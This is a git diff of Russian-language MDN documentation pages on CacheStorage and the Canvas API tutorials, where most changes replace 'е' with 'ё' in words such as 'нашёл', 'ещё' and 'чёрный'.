    Возвращает {{jsxref("Promise")}}, который успешно завершится и вернет true, если объект {{domxref("Cache")}} содержит кеш с установленным cacheName.
    +
    Возвращает {{jsxref("Promise")}}, который успешно завершится и вернёт true, если объект {{domxref("Cache")}} содержит кеш с установленным cacheName.
    {{domxref("CacheStorage.open()")}}
    -
    Возвращает {{jsxref("Promise")}}, который успешно завершится, когда объект {{domxref("Cache")}} найдет необходимый объект с cacheName (если такого нет, то создаст новый).
    +
    Возвращает {{jsxref("Promise")}}, который успешно завершится, когда объект {{domxref("Cache")}} найдёт необходимый объект с cacheName (если такого нет, то создаст новый).
    {{domxref("CacheStorage.delete()")}}
    -
    Находит объект {{domxref("Cache")}}, соответствующий cacheName, и, если такой обнаружен, удаляет объект {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, завершающийся с true. Если объект {{domxref("Cache")}} не найдет, то возвращается false.
    +
    Находит объект {{domxref("Cache")}}, соответствующий cacheName, и, если такой обнаружен, удаляет объект {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, завершающийся с true. Если объект {{domxref("Cache")}} не найдёт, то возвращается false.
    {{domxref("CacheStorage.keys()")}}
    -
    Возвращает {{jsxref("Promise")}}, который вернет массив, содержащий строки, соответствующие всем именованным объектам {{domxref("Cache")}}, отслеживаемым {{domxref("CacheStorage")}}. Используйте этот метод для прохода по списку всех объектов {{domxref("Cache")}}.
    +
    Возвращает {{jsxref("Promise")}}, который вернёт массив, содержащий строки, соответствующие всем именованным объектам {{domxref("Cache")}}, отслеживаемым {{domxref("CacheStorage")}}. Используйте этот метод для прохода по списку всех объектов {{domxref("Cache")}}.

    Примеры

    Фрагмент кода взят с MDN sw-test example (смотри sw-test running live). Этот service worker ожидает старта события {{domxref("InstallEvent")}}, затем запускает {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Он состоит из вызова {{domxref("CacheStorage.open")}} для создания нового кеша и затем использует {{domxref("Cache.addAll")}} для добавления к нему списка ресурсов.

    -

    Во втором блоке кода мы ждем запуска события {{domxref("FetchEvent")}}. Мы создаем встроенный ответ:

    +

    Во втором блоке кода мы ждём запуска события {{domxref("FetchEvent")}}. Мы создаём встроенный ответ:

    1. Проверяем, был ли необходимый запрос найден в CacheStorage. Если да, выполняем его.
    2. diff --git a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html index 4f0922351f..d7afa0bf65 100644 --- a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html +++ b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html @@ -15,19 +15,19 @@ translation_of: Web/API/Canvas_API/A_basic_ray-caster

      Я попробовал небольшой эксперимент, понимая, к моему восторгу, что стильный элемент <canvas> о котором я читал, поддерживается не только в Fierfox, но так же поддерживается последней версией Safari.

      -

      Хорошие обзор и руководство по canvas я нашел в MDN, но никто еще не писал об анимации, поэтому я решил попробовать базовый порт raycaster, над которым я работал некоторое время назад, и посмотреть, какую производительность мы можем ожидать от управляемого JavaScript-ом пиксельного буфера.

      +

      Хорошие обзор и руководство по canvas я нашёл в MDN, но никто ещё не писал об анимации, поэтому я решил попробовать базовый порт raycaster, над которым я работал некоторое время назад, и посмотреть, какую производительность мы можем ожидать от управляемого JavaScript-ом пиксельного буфера.

      Как?

      -

      Основная идея заключается в использовании {{domxref("window.setInterval","setInterval()")}} с некоторой произвольной задержкой, соответствующей требуемой частоте кадров. После каждого интервала функция обновления будет перерисовывать холст, и отображать текущий вид. Я знаю, что мог бы начать с более простого примера, но я уверен, что руководство canvas доберется до этого, и я хотел посмотреть, смогу ли я это сделать.

      +

      Основная идея заключается в использовании {{domxref("window.setInterval","setInterval()")}} с некоторой произвольной задержкой, соответствующей требуемой частоте кадров. После каждого интервала функция обновления будет перерисовывать холст, и отображать текущий вид. Я знаю, что мог бы начать с более простого примера, но я уверен, что руководство canvas доберётся до этого, и я хотел посмотреть, смогу ли я это сделать.

      -

      Таким образом каждое обновление raycaster смотрит нажимали ли вы какие либо клавиши в последнее время, сохраняет расчеты и останавливается если вы бездействуете. Получив расчеты, холст очищается, земля и небо рисуются, положение камеры и/или ориентация обновляются, а лучи отбрасываются. Когда лучи попадают на стены, они отображают вертикальный кусок холста в цвете стены, на которую они попали, смешанный с более темной версией цвета в зависимости от расстояния до стены. Высота этого кусочка также моделируется расстоянием от камеры до стены и рисуется по центру линии горизонта.

      +

      Таким образом каждое обновление raycaster смотрит нажимали ли вы какие либо клавиши в последнее время, сохраняет расчёты и останавливается если вы бездействуете. Получив расчёты, холст очищается, земля и небо рисуются, положение камеры и/или ориентация обновляются, а лучи отбрасываются. Когда лучи попадают на стены, они отображают вертикальный кусок холста в цвете стены, на которую они попали, смешанный с более тёмной версией цвета в зависимости от расстояния до стены. Высота этого кусочка также моделируется расстоянием от камеры до стены и рисуется по центру линии горизонта.

      -

      Код, который я получил, - это смесь глав raycaster из старой книги Андре Ламотетрикса о гуру программирования игр (ISBN: 0672305070) и  java raycaster, которую я нашел в интернете, отфильтровал, переименовал, и внес все изменения, которые нужно было внести, чтобы все работало хорошо.

      +

      Код, который я получил, - это смесь глав raycaster из старой книги Андре Ламотетрикса о гуру программирования игр (ISBN: 0672305070) и  java raycaster, которую я нашёл в интернете, отфильтровал, переименовал, и внёс все изменения, которые нужно было внести, чтобы все работало хорошо.

      Результаты

      -

      Холст в Safari 2.0.1 выполнен на удивление хорошо. С коэффициентом блочности, увеличенным до отображения кусочка шириной 8 пикселей, я могу запустить окно 320 x 240 при 24 fps на моем Apple mini. Firefox 1.5 Beta 1 еще быстрее; я могу запускать 320 x 240 при 24 fps с 4 пиксельным кусочком. Не совсем новый член семейства программного обеспечения ID, но довольно приличный, учитывая, что это полностью интерпретируемая среда, и мне не нужно было беспокоиться о выделении памяти или видеорежимах или кодировании внутренних процедур в ассемблере или чем-то еще. Код получился очень эффективным, он использует поиск по массиву предварительно вычисленных значений, но я не гуру оптимизации, поэтому все, вероятно, можно было бы написать быстрее.

      +

      Холст в Safari 2.0.1 выполнен на удивление хорошо. С коэффициентом блочности, увеличенным до отображения кусочка шириной 8 пикселей, я могу запустить окно 320 x 240 при 24 fps на моем Apple mini. Firefox 1.5 Beta 1 ещё быстрее; я могу запускать 320 x 240 при 24 fps с 4 пиксельным кусочком. Не совсем новый член семейства программного обеспечения ID, но довольно приличный, учитывая, что это полностью интерпретируемая среда, и мне не нужно было беспокоиться о выделении памяти или видеорежимах или кодировании внутренних процедур в ассемблере или чем-то ещё. Код получился очень эффективным, он использует поиск по массиву предварительно вычисленных значений, но я не гуру оптимизации, поэтому все, вероятно, можно было бы написать быстрее.

      Кроме того, он оставляет желать лучшего с точки зрения попыток быть игровым движком—нет текстур стен, нет спрайтов, нет дверей, даже нет телепортов, чтобы добраться до другого уровня. Но я уверен, что все эти вещи могут быть добавлены, через некоторое время. Canvas API поддерживает пиксельное копирование изображений, поэтому текстуры могут быть добавлены. Я оставлю это для другой статьи, возможно, от другого человека. =)

      diff --git a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html index a1b7b04467..dddee8da38 100644 --- a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html +++ b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html @@ -364,7 +364,7 @@ ball.draw();

      Breakout(арканоид)

      -

      В этой короткой главе описаны некоторые приемы создания продвинутой анимации.  Как насчет того, что бы добавить доску, кирпичи и превратить это демо в игру Breakout(в Росси более известный клон этой игры - арканоид)? Посетите Game development чтобы узнать больше об играх.

      +

      В этой короткой главе описаны некоторые приёмы создания продвинутой анимации.  Как насчёт того, что бы добавить доску, кирпичи и превратить это демо в игру Breakout(в Росси более известный клон этой игры - арканоид)? Посетите Game development чтобы узнать больше об играх.

      Смотрите так же

      diff --git a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html index 7eea729bc2..9a750e66cc 100644 --- a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html +++ b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html @@ -21,7 +21,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Применение_стилей_и_
      Устанавливает стиль контура фигуры. 
      -

      color может быть цветом, (строка, представленная в CSS {{cssxref("<color>")}}), градиентом или паттерном. Градиенты и паттерны мы рассмотрим позже. По умолчанию цвет фона и контура  — черный (значение CSS цвета  #000000).

      +

      color может быть цветом, (строка, представленная в CSS {{cssxref("<color>")}}), градиентом или паттерном. Градиенты и паттерны мы рассмотрим позже. По умолчанию цвет фона и контура  — чёрный (значение CSS цвета  #000000).

      На заметку: Когда вы устанавливаете  значения strokeStyle и/или fillStyle, то новое значение становится стандартным для всех фигур, которые будут нарисованы с этого момента. Когда вам нужен другой цвет, вы должны перезаписать значение в fillStyle или в strokeStyle для каждой фигуры.

      @@ -39,7 +39,7 @@ ctx.fillStyle = "rgba(255,165,0,1)";

      Пример fillStyle

      -

      В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные i и j для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зеленые значения. Синий канал представляет собой фиксированное значение. Путем изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.

      +

      В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные i и j для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зелёные значения. Синий канал представляет собой фиксированное значение. Путём изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.

      function draw() {
         var ctx = document.getElementById('canvas').getContext('2d');
      @@ -113,7 +113,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
       
       

      Пример globalAlpha

      -

      В данном примере мы нарисуем фон и четыре квадрата с различными цветами.  Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство globalAlpha значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая еще больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счетчик итераций, при этом рисуя еще круги, мы сможем добиться исчезновение центра изображения.

      +

      В данном примере мы нарисуем фон и четыре квадрата с различными цветами.  Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство globalAlpha значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая ещё больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счётчик итераций, при этом рисуя ещё круги, мы сможем добиться исчезновение центра изображения.

      function draw() {
         var ctx = document.getElementById('canvas').getContext('2d');
      @@ -195,22 +195,22 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
        
      {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}
      Устанавливает ограничение на митру, когда две линии соединяются под острым углом, чтобы вы могли контролировать её толщину.
      {{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}
      -
      Возвращает текущий массив тире штриховки, содержащий четное число неотрицательных чисел.
      +
      Возвращает текущий массив тире штриховки, содержащий чётное число неотрицательных чисел.
      {{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}
      Устанавливает текущий пунктир линии.
      {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}
      Указывает, где следует начинать тире массива в строке.
      -

      Вы лучше поймете, что они делают, глядя на приведенные ниже примеры.

      +

      Вы лучше поймёте, что они делают, глядя на приведённые ниже примеры.

      Пример lineWidth

      -

      Это свойство задает толщину текущей строки. Значения должны быть положительными. По умолчанию для этого значения установлено 1.0 единицы.

      +

      Это свойство задаёт толщину текущей строки. Значения должны быть положительными. По умолчанию для этого значения установлено 1.0 единицы.

      -

      Ширина линии - это толщина хода, центрированного по данному пути. Другими словами, область, которая нарисована, простирается до половины ширины линии по обе стороны пути. Поскольку координаты холста не напрямую ссылаются на пиксели, особое внимание следует уделять получению четких горизонтальных и вертикальных линий.

      +

      Ширина линии - это толщина хода, центрированного по данному пути. Другими словами, область, которая нарисована, простирается до половины ширины линии по обе стороны пути. Поскольку координаты холста не напрямую ссылаются на пиксели, особое внимание следует уделять получению чётких горизонтальных и вертикальных линий.

      -

      В приведенном ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечетной ширины не выглядят четкими из-за позиционирования пути.

      +

      В приведённом ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечётной ширины не выглядят чёткими из-за позиционирования пути.

      function draw() {
         var ctx = document.getElementById('canvas').getContext('2d');
      @@ -232,7 +232,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
       
       

      {{EmbedLiveSample("Пример_lineWidth", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}

      -

      Получение четких строк требует понимания путей сглаживания. На рисунках ниже представлена сетка координат холста. Квадраты между сетками являются фактическими экранными пикселями. В первом изображении сетки ниже прямоугольник от (2, 1) до (5, 5) заполняется. Вся область между ними (светло-красный) падает на границы пикселей, поэтому полученный заполненный прямоугольник будет иметь четкие края.

      +

      Получение чётких строк требует понимания путей сглаживания. На рисунках ниже представлена сетка координат холста. Квадраты между сетками являются фактическими экранными пикселями. В первом изображении сетки ниже прямоугольник от (2, 1) до (5, 5) заполняется. Вся область между ними (светло-красный) падает на границы пикселей, поэтому полученный заполненный прямоугольник будет иметь чёткие края.

      @@ -241,14 +241,14 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";

      Чтобы исправить это, вы должны быть более точными при создании пути. Зная, что линия шириной 1.0 занимает половину единицы по обе стороны пути, создание пути от (3.5, 1) до (3.5, 5) приведёт к ситуации в третьем изображении - ширина линии 1.0 закончится верно, точно заполняя вертикальную линию с одним пикселем.

      -

      Примечание: Имейте в виду, что в нашем примере с вертикальной линией позиция Y по-прежнему ссылается на целочисленную позицию сетки - иначе мы увидели бы пиксели с половинным охватом в конечных точках (также обратите внимание, что это поведение зависит от текущего стиля lineCap,  значение по умолчанию - butt; вы можете вычислить согласованные штрихи с полупиксельными координатами для линий с нечетной шириной, установив стиль lineCap в square, чтобы внешняя граница вокруг конечной точки линии автоматически расширялась, охватывая весь пиксель в точку).

      +

      Примечание: Имейте в виду, что в нашем примере с вертикальной линией позиция Y по-прежнему ссылается на целочисленную позицию сетки - иначе мы увидели бы пиксели с половинным охватом в конечных точках (также обратите внимание, что это поведение зависит от текущего стиля lineCap,  значение по умолчанию - butt; вы можете вычислить согласованные штрихи с полупиксельными координатами для линий с нечётной шириной, установив стиль lineCap в square, чтобы внешняя граница вокруг конечной точки линии автоматически расширялась, охватывая весь пиксель в точку).

      -

      Также обратите внимание, что затронуты только начальные и конечные  точки пути: если путь закрыт с помощью closePath(), - нет начальной и конечной точки; вместо этого все конечные точки в пути подключены к их прикрепленному предыдущему и следующему сегментам и при текущей настройке стиля lineJoin в значении по умолчанию - miter, с эффектом автоматического расширения внешних границ подключенных сегментов до их точки пересечения - обработанный ход будет точно покрывать полные пиксели с центром в каждой конечной точке, если эти связанные сегменты горизонтальны и/или вертикальны). См. следующие два раздела, демонстрирующие эти дополнительные стили.

      +

      Также обратите внимание, что затронуты только начальные и конечные  точки пути: если путь закрыт с помощью closePath(), - нет начальной и конечной точки; вместо этого все конечные точки в пути подключены к их прикреплённому предыдущему и следующему сегментам и при текущей настройке стиля lineJoin в значении по умолчанию - miter, с эффектом автоматического расширения внешних границ подключённых сегментов до их точки пересечения - обработанный ход будет точно покрывать полные пиксели с центром в каждой конечной точке, если эти связанные сегменты горизонтальны и/или вертикальны). См. следующие два раздела, демонстрирующие эти дополнительные стили.

      -

      Для линий с четной шириной каждая половина заканчивается как целое количество пикселей, поэтому вам нужен путь, который находится между пикселями (то есть (3,1) - (3,5)), вместо середины пикселей.

      +

      Для линий с чётной шириной каждая половина заканчивается как целое количество пикселей, поэтому вам нужен путь, который находится между пикселями (то есть (3,1) - (3,5)), вместо середины пикселей.

      -

      Хотя это и необычно, когда изначально работаешь с масштабируемой 2D-графикой, обращая внимание на сетку пикселей и положение путей, но вы убедитесь, что ваши рисунки будут выглядеть правильно, независимо от масштабирования или любых других преобразований. Вертикальная линия ширины 1,0, построенная таким образом, станет четкой 2-пиксельной линией при увеличении на 2 и появится в правильном положении.

      +

      Хотя это и необычно, когда изначально работаешь с масштабируемой 2D-графикой, обращая внимание на сетку пикселей и положение путей, но вы убедитесь, что ваши рисунки будут выглядеть правильно, независимо от масштабирования или любых других преобразований. Вертикальная линия ширины 1,0, построенная таким образом, станет чёткой 2-пиксельной линией при увеличении на 2 и появится в правильном положении.

      Пример lineCap

      @@ -265,7 +265,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
      Концы линий описаны квадратом с равной шириной и половиной высоты толщины линии.
      -

      В этом примере мы проведем три строки, каждая из которых имеет другое значение для свойства lineCap. Я также добавил два руководства, чтобы увидеть точные различия между ними. Каждая из этих линий начинается и заканчивается именно на этих направляющих.

      +

      В этом примере мы проведём три строки, каждая из которых имеет другое значение для свойства lineCap. Я также добавил два руководства, чтобы увидеть точные различия между ними. Каждая из этих линий начинается и заканчивается именно на этих направляющих.

      Строка слева использует butt опцию по умолчанию. Вы заметите, что она полностью очищена от направляющих. Второй вариант -  round опция. Это добавляет полукруг к концу, который имеет радиус, равный половине ширины линии. Строка справа использует square опцию. Это добавляет поле с равной шириной и половиной высоты толщины линии.

      @@ -313,14 +313,14 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
      round
      -
      Радиус заполняемой части для скругленных углов равен половине ширины линии. центр этого радиуса совпадает с концами подключенных сегментов.
      +
      Радиус заполняемой части для скруглённых углов равен половине ширины линии. центр этого радиуса совпадает с концами подключённых сегментов.
      bevel
      -
      Заполняет дополнительную треугольную область между общей конечной точкой подключенных сегментов и отдельными внешними прямоугольными углами каждого сегмента. 
      +
      Заполняет дополнительную треугольную область между общей конечной точкой подключённых сегментов и отдельными внешними прямоугольными углами каждого сегмента. 
      miter
      -
      Подключенные сегменты соединяются путем расширения их внешних краев для соединения в одной точке с эффектом заполнения дополнительной области в форме пастилки. Эта настройка выполняется с помощью свойства miterLimit, которое объясняется ниже.
      +
      Подключённые сегменты соединяются путём расширения их внешних краёв для соединения в одной точке с эффектом заполнения дополнительной области в форме пастилки. Эта настройка выполняется с помощью свойства miterLimit, которое объясняется ниже.
      -

      В приведенном ниже примере показаны три разных пути, демонстрирующие каждый из этих трех свойств lineJoin; результат - выше. 

      +

      В приведённом ниже примере показаны три разных пути, демонстрирующие каждый из этих трёх свойств lineJoin; результат - выше. 

      function draw() {
         var ctx = document.getElementById('canvas').getContext('2d');
      @@ -351,9 +351,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";
       
       

      Как вы видели в предыдущем примере, при объединении двух строк с опцией miter внешние края двух соединительных линий расширены до точки, где они встречаются. Для линий, которые находятся под большими углами друг с другом, эта точка находится недалеко от внутренней точки соединения. Однако, поскольку углы между каждой линией уменьшаются, расстояние (длина меча) между этими точками увеличивается экспоненциально.

      -

      Свойство miterLimit определяет, как далеко можно установить внешнюю точку соединения из внутренней точки подключения. Если две линии превышают это значение, вместо этого получается привязка конуса. Обратите внимание, что максимальная длина митра является произведением ширины линии, измеренной в текущей системе координат, значением этого свойства miterLimit (значение по умолчанию 10,0 в HTML {{HTMLElement("canvas")}}), поэтому miterLimit может устанавливаться независимо от текущей шкалы дисплея или любых аффинных преобразований путей: она влияет только на эффективно визуализированную форму ребер линии.

      +

      Свойство miterLimit определяет, как далеко можно установить внешнюю точку соединения из внутренней точки подключения. Если две линии превышают это значение, вместо этого получается привязка конуса. Обратите внимание, что максимальная длина митра является произведением ширины линии, измеренной в текущей системе координат, значением этого свойства miterLimit (значение по умолчанию 10,0 в HTML {{HTMLElement("canvas")}}), поэтому miterLimit может устанавливаться независимо от текущей шкалы дисплея или любых аффинных преобразований путей: она влияет только на эффективно визуализированную форму рёбер линии.

      -

      Точнее, предел митры является максимально допустимым отношением длины расширения (в холсте HTML он измеряется между внешним углом соединенных краев линии и общей конечной точкой соединительных сегментов, указанными на пути), до половины ширины линии. Его можно равнозначно определить как максимально допустимое отношение расстояния между внутренней и внешней точками перехода краев к общей ширине линии. Затем он равен косекансу с половиной минимального внутреннего угла соединительных сегментов, ниже которого не будет создано ни одного соединения митра, а только скос соединяется:

      +

      Точнее, предел митры является максимально допустимым отношением длины расширения (в холсте HTML он измеряется между внешним углом соединённых краёв линии и общей конечной точкой соединительных сегментов, указанными на пути), до половины ширины линии. Его можно равнозначно определить как максимально допустимое отношение расстояния между внутренней и внешней точками перехода краёв к общей ширине линии. Затем он равен косекансу с половиной минимального внутреннего угла соединительных сегментов, ниже которого не будет создано ни одного соединения митра, а только скос соединяется:

      • miterLimit = max miterLength / lineWidth = 1 / sin ( min θ / 2 )
      • @@ -365,7 +365,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)";

        Вот небольшая демонстрация, в которой вы можете динамически установить miterLimit и посмотреть, как это влияет на фигуры на холсте. Синие линии показывают, где начальная и конечная точки для каждой из линий в шаблоне зигзага.

        -

        Если вы укажете в этой демонстрации значение miterLimit ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой miterLimit выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удаленной от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).

        +

        Если вы укажете в этой демонстрации значение miterLimit ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой miterLimit выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удалённой от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).

        function draw() {
           var ctx = document.getElementById('canvas').getContext('2d');
        @@ -425,7 +425,7 @@ draw();

        Метод setLineDash и свойство lineDashOffset задают шаблон штрихов для линий. Метод setLineDash принимает список чисел, который определяет расстояния для попеременного рисования линии и разрыва, а свойство lineDashOffset устанавливает смещение, с которого начинается шаблон.

        -

        В этом примере мы создаем эффект походных муравьев. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.

        +

        В этом примере мы создаём эффект походных муравьёв. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.

        -

        В первых нескольких строках кода мы рисуем черный прямоугольник размером с холстом в качестве фона, а затем переводим начало координат в центр. Затем мы создаем круговой обтравочный контур, рисуя дугу и вызывающий clip(). Обрезанные контуры также являются частью состояния сохранения холста. Если бы мы хотели сохранить исходный обтравочный контур, мы могли бы сохранить состояние холста перед созданием нового.

        +

        В первых нескольких строках кода мы рисуем чёрный прямоугольник размером с холстом в качестве фона, а затем переводим начало координат в центр. Затем мы создаём круговой обтравочный контур, рисуя дугу и вызывающий clip(). Обрезанные контуры также являются частью состояния сохранения холста. Если бы мы хотели сохранить исходный обтравочный контур, мы могли бы сохранить состояние холста перед созданием нового.

        -

        Все, что нарисовано после создания отсеченного контура, появится только внутри этого пути. Вы можете видеть это четко в линейном градиенте, который нарисован далее. После этого набирается набор из 50 случайно расположенных и масштабированных звезд, используя drawStar(). Снова звезды появляются только в пределах определенного обтравочного контура.

        +

        Все, что нарисовано после создания отсечённого контура, появится только внутри этого пути. Вы можете видеть это чётко в линейном градиенте, который нарисован далее. После этого набирается набор из 50 случайно расположенных и масштабированных звёзд, используя drawStar(). Снова звезды появляются только в пределах определённого обтравочного контура.

        {{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}

        diff --git a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html index 30225ac786..83ef78542a 100644 --- a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html +++ b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html @@ -12,11 +12,11 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур

        Сетка

        -

        Перед тем, как мы начнем рисовать, нам нужно поговорить о сетке canvas или координатной плоскости. Наш HTML каркас из предыдущей страницы включал в себя элемент canvas 150 пикселей в ширину и 150 пикселей в высоту. Справа можно увидеть этот canvas с сеткой, накладываемой по умолчанию. Обычно 1 единица на сетке соответствует 1 пикселю на canvas. Начало координат этой сетки расположено в верхнем левом углу в координате (0,0 ). Все элементы размещены относительно этого начала. Таким образом, положение верхнего левого угла синего квадрата составляет х пикселей слева и у пикселей сверху, на координате , у). Позже в этом уроке мы увидим, как можно перевести начало координат в другое место, вращать сетку и даже масштабировать ее, но сейчас мы будем придерживаться настроек сетки по умолчанию.

        +

        Перед тем, как мы начнём рисовать, нам нужно поговорить о сетке canvas или координатной плоскости. Наш HTML каркас из предыдущей страницы включал в себя элемент canvas 150 пикселей в ширину и 150 пикселей в высоту. Справа можно увидеть этот canvas с сеткой, накладываемой по умолчанию. Обычно 1 единица на сетке соответствует 1 пикселю на canvas. Начало координат этой сетки расположено в верхнем левом углу в координате (0,0 ). Все элементы размещены относительно этого начала. Таким образом, положение верхнего левого угла синего квадрата составляет х пикселей слева и у пикселей сверху, на координате , у). Позже в этом уроке мы увидим, как можно перевести начало координат в другое место, вращать сетку и даже масштабировать её, но сейчас мы будем придерживаться настроек сетки по умолчанию.

        Рисование прямоугольников

        -

        В отличие от {{Glossary("SVG")}}, {{HTMLElement("canvas")}} поддерживает только одну примитивную фигуру: прямоугольник. Все другие фигуры должны быть созданы комбинацией одного или большего количества контуров (paths), набором точек, соединенных в линии. К счастью в ассортименте рисования контуров у нас есть  функции, которые делают возможным составление очень сложных фигур.

        +

        В отличие от {{Glossary("SVG")}}, {{HTMLElement("canvas")}} поддерживает только одну примитивную фигуру: прямоугольник. Все другие фигуры должны быть созданы комбинацией одного или большего количества контуров (paths), набором точек, соединённых в линии. К счастью в ассортименте рисования контуров у нас есть  функции, которые делают возможным составление очень сложных фигур.

        Сначала рассмотрим прямоугольник. Ниже представлены три функции рисования прямоугольников в canvas:

        @@ -29,7 +29,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
        Очистка  прямоугольной области, делая содержимое совершенно прозрачным.
        -

        Каждая из приведенных функций принимает несколько параметров: 

        +

        Каждая из приведённых функций принимает несколько параметров: 

        • xy устанавливают положение верхнего левого угла прямоугольника в canvas (относительно начала координат);
        • @@ -60,11 +60,11 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур } }
      -

      Этот пример изображен ниже.

      +

      Этот пример изображён ниже.

      {{EmbedLiveSample("Пример_создания_прямоугольных_фигур", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}

      -

      Функция fillRect() рисует большой чёрный квадрат со стороной 100 px. Функция clearRect() вырезает квадрат 60х60 из центра, а функция strokeRect() создает прямоугольный контур 50х50 пикселей внутри очищенного квадрата.

      +

      Функция fillRect() рисует большой чёрный квадрат со стороной 100 px. Функция clearRect() вырезает квадрат 60х60 из центра, а функция strokeRect() создаёт прямоугольный контур 50х50 пикселей внутри очищенного квадрата.

      На следующей странице мы рассмотрим две альтернативы методу clearRect(), и также увидим, как можно изменять цвет и стиль контура отображаемых фигур.

      @@ -77,7 +77,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур

      Создание фигур используя контуры происходит в несколько важных шагов:

        -
      1. Сначала вы создаете контур.
      2. +
      3. Сначала вы создаёте контур.
      4. Затем, используя команды рисования, рисуете контур.
      5. Потом закрываете контур.
      6. Созданный контур вы можете обвести или залить для его отображения.
      7. @@ -87,7 +87,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
        {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}
        -
        Создает новый контур. После создания используется в дальнейшем командами рисования при построении контуров.
        +
        Создаёт новый контур. После создания используется в дальнейшем командами рисования при построении контуров.
        Path методы
        Методы для установки различных контуров объекта.
        {{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}
        @@ -195,12 +195,12 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур
        {{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}
        -
        Рисует линию с текущей позиции до позиции, определенной x и y.
        +
        Рисует линию с текущей позиции до позиции, определённой x и y.

        Этот метод принимает два аргумента x и y, которые являются координатами конечной точки линии. Начальная точка зависит от ранее нарисованных путей, причём конечная точка предыдущего пути является начальной точкой следующего и т. д. Начальная точка также может быть изменена с помощью метода moveTo().

        -

        Пример ниже рисует два треугольника, один закрашенный и другой обведен контуром.

        +

